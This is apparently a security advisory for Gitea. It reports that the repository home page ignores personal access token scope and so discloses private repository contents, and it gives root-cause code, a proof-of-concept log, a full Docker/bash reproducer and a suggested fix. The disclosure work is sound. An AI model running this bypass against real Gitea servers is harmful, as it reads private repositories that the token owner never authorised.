Gitea: Personal access token scope enforcement bypass on the repository home page (`GET /{owner}/{repo}`) discloses private repository contents

Summary

A personal access token (PAT) or OAuth2 token that does not carry the repository scope or that is public-only is correctly rejected (HTTP 403) by the recently hardened web content routes (archive download, raw/media file download, and repository RSS/Atom feeds). However, the repository home page route GET /{owner}/{repo} (handler repo.Home) serves the private repository's rendered README, root file/directory tree, description, language statistics, license, and latest-release information to that same token.

This is a token-scope enforcement bypass and private-repository content disclosure. It is the same source→sink pattern already fixed for neighbouring routes in:

• GHSA-cr4g-f395-h25h (CVE-2026-20706) token scope bypass on web archive download
• GHSA-3pww-vcvm-3gmj (CVE-2026-27761) token scope bypass on repository RSS/Atom feeds

repo.Home is the remaining token-auth-enabled content route that was not given the guard.

Details / Root cause

Web routes accept token authentication only when explicitly opted in with webAuth.AllowBasic / webAuth.AllowOAuth2. The repository home route carries AllowBasic (added so that go get can resolve private modules):

// routers/web/web.go:1256
m.Get("/{username}/{reponame}", optSignIn, webAuth.AllowBasic,
      context.RepoAssignment, context.RepoRefByType(git.RefTypeBranch),
      repo.SetEditorconfigIfExists, repo.Home)

When a PAT/OAuth2 token is supplied via HTTP Basic auth, services/auth/basic.go sets IsApiToken = true and records ApiTokenScope:

// services/auth/basic.go
store.GetData()["IsApiToken"] = true
store.GetData()["ApiTokenScope"] = token.Scope

The patched sibling handlers all call the web-side scope guard context.CheckRepoScopedToken(...), which enforces both the public-only restriction and the repository scope:

routers/web/repo/download.go:23     (raw / media / archive)  ← GHSA-cr4g
routers/web/feed/render.go:15       (all repo feeds)         ← GHSA-3pww
routers/web/repo/attachment.go:190  (attachments / release assets, centralized)
routers/web/repo/githttp.go:161     (git smart HTTP)         ← GHSA-cc8w

repo.Home (routers/web/repo/view_home.go:389) performs no such check. Its only gate is checkHomeCodeViewable, which verifies the user's permission and that the code unit is enabled neither of which constrains the token's scope. The README, file listing, and sidebar are then rendered. (The handleRepoHomeFeed sub-path is guarded via ShowRepoFeed, but the HTML repo view is not.)

Proof of Concept

Reproduced against gitea/gitea:main-nightly (build g2e1be0b114, identical to the source commit above). A private repository admin/secretrepo is created, and a token is minted with only the read:user scope (no repository scope).

=== anonymous baseline (repository is private) ===
  anon GET /admin/secretrepo                       HTTP=404
=== same no-repo-scope token across routes ===
  API repo get (proves token lacks repo scope)     HTTP=403 canary=0
  /admin/secretrepo/archive/main.zip  (control)    HTTP=403 canary=0
  /admin/secretrepo/raw/branch/main/README.md      HTTP=403 canary=0
  /admin/secretrepo.rss               (control)    HTTP=403 canary=0
  /admin/secretrepo  (repo.Home, VULN)             HTTP=200 canary=1

A second token with scope public-only,read:repository behaves identically: /archive → 403, but /admin/secretrepo → 200 and returns the private content.

canary=1 means the private README marker was returned in the HTML response; the private file name SECRET.md is also disclosed in the rendered file tree.

Full self-contained reproducer (Docker, prints a PASS/FAIL verdict):

#!/usr/bin/env bash
set -euo pipefail
N=gitea-poc; PW='Adm1n!pass99'; CANARY='TOP-SECRET-CANARY-9F3A2'
docker rm -f $N >/dev/null 2>&1 || true
docker run -d --name $N \
  -e GITEA__security__INSTALL_LOCK=true -e GITEA__database__DB_TYPE=sqlite3 \
  -e GITEA__server__ROOT_URL=http://localhost:3000/ \
  -e GITEA__service__DISABLE_REGISTRATION=true \
  -p 3000:3000 gitea/gitea:main-nightly >/dev/null
for i in $(seq 1 40); do
  [ "$(curl -s -o /dev/null -w '%{http_code}' http://localhost:3000/api/healthz)" = 200 ] && break; sleep 2; done
docker exec -u git $N gitea admin user create --admin --username admin \
  --password "$PW" --email admin@example.com --must-change-password=false >/dev/null
curl -s -u admin:"$PW" -X POST http://localhost:3000/api/v1/user/repos \
  -H 'Content-Type: application/json' \
  -d '{"name":"secretrepo","private":true,"auto_init":true,"default_branch":"main"}' >/dev/null
SHA=$(curl -s -u admin:"$PW" http://localhost:3000/api/v1/repos/admin/secretrepo/contents/README.md \
  | python3 -c "import json,sys;print(json.load(sys.stdin)['sha'])")
curl -s -u admin:"$PW" -X PUT http://localhost:3000/api/v1/repos/admin/secretrepo/contents/README.md \
  -H 'Content-Type: application/json' \
  -d '{"content":"'"$(printf '# %s\nprivate' "$CANARY" | base64)"'","message":"u","sha":"'"$SHA"'","branch":"main"}' >/dev/null
TOK=$(docker exec -u git $N gitea admin user generate-access-token --username admin \
  --scopes read:user --token-name norepo --raw | tail -1)
echo "anon  : $(curl -s -o /dev/null -w '%{http_code}' http://localhost:3000/admin/secretrepo)"
for p in "archive/main.zip" "raw/branch/main/README.md" ".rss" ""; do
  o=$(curl -s -u admin:"$TOK" -w '|%{http_code}' "http://localhost:3000/admin/secretrepo${p:+/}$p")
  echo "/$p -> ${o##*|}  canary=$(printf '%s' "$o" | grep -c "$CANARY" || true)"
done
echo "PASS if controls=403/404 and repo.Home (last line)=200 canary=1"
docker rm -f $N >/dev/null

Impact

Any holder of a non-repository-scoped or public-only token belonging to a user who has access to private repositories can read those repositories' README, root file/directory listing, description, languages, license, and latest release content the token was explicitly scoped to be unable to read. This defeats the purpose of fine-grained and public-only tokens (for example a CI token granted only read:issue, or a public-only token issued to a third-party integration).

The disclosure is bounded to the repository root view because the deeper /{owner}/{repo}/src/* routes do not enable AllowBasic.

Suggested remediation

Mirror the sibling handlers: at the start of repo.Home (routers/web/repo/view_home.go), or as route middleware on routers/web/web.go:1256, add:

context.CheckRepoScopedToken(ctx, ctx.Repo.Repository, auth_model.Read)
if ctx.Written() {
    return
}

It is also worth auditing the other AllowBasic/AllowOAuth2 web routes that render repository data for the same omission notably actions.GetWorkflowBadge (routers/web/web.go:1568), which currently exposes a private repository's workflow build status (pass/fail) to a token without the repository scope (lower impact, possibly intended since badges are designed to be embeddable, but worth confirming).